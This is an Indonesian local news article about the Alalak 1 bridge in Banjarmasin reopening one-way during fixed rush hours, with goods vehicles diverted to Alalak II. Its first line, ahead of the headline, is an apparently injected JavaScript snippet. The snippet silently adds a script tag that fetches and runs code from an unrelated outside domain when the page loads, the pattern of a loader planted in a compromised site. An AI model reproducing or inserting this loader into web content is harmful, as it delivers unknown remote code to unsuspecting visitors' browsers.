(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Jembatan Alalak 1 Satu Arah dari Banjarmasin, Angkutan Barang Tak Diperbolehkan

KANALKALIMANTAN.COM, BANJARMASIN – Jembatan Alalak 1 resmi dibuka mulai Kamis (15/4/2021) pagi. Jembatan lama di kawasan Kayu Tangi penghubung ke Handil Bakti, Kabupaten Batola tersebut hanya boleh dilalui roda dua, mobil pribadi, bukan untuk angkutan barang.

Pembukaan jembatan Alalak 1 yang lama ini Upaya memecah kemacetan yang kerap terjadi di jalan H Hasan Basry, kawasan Kayu Tangi-Jalan Tembus Perumnas (Banjarmasin), dan jalan Trans Kalimantan, Handil Bakti (Batola).

Kepala Seksi (Kasi) Manajemen Rekayasa Lalu Lintas Dinas Perhubungan Kota Banjarmasin, Febpry Ghara Utama mengatakan, jembatan Alalak 1 dibuka pada jam tertentu.

Operasional berlangsung dua waktu, pagi pukul 07.00-09.00 Wita dan sore dari 16.00 sampai 18.00 Wita.

“Dan yang boleh melintas adalah kendaraan roda dua dan angkutan penumpang,” kata Febpry, Kamis (15/4/2021) pagi.

Sementara untuk kendaraan yang mengangkut barang, seperti mobil truk berukuran di bawah 6 ton, dialihkan ke jalan Perumnas untuk melalui jembatan Alalak II.
Febpry mengatakan jembatan Alalak 1 hanya dibuka untuk satu arah. Yakni dari Banjarmasin menuju luar kota.

“Untuk jembatan Alalak II, yang ingin masuk kota itu ada dua jalur. Boleh ke kiri atau kanan untuk mobil penumpang. Sedangkan angkutan barang hanya boleh belok kiri,” tegasnya.

Ditanya sampai kapan Jembatan Alalak 1 ini dibuka, Kasi Manajemen Rekayasa Lalu Lintas, belum berani memastikan.

Ia menambahkan, untuk skema pembukaan jembatan Alalak 1 diluar jam operasional yang telah ditentukan masih belum ada.
“Cuma nanti kita akan pantau dan evaluasi terus, bagaimana kondisi di lapangan. Misalkan ada kemacetan di luar jam operasional, mungkin nanti kita akan mengambil keputusan di tempat,” tambah Febpry. (kanalkalimantan.com/tius)

Reporter : tius
Editor : bie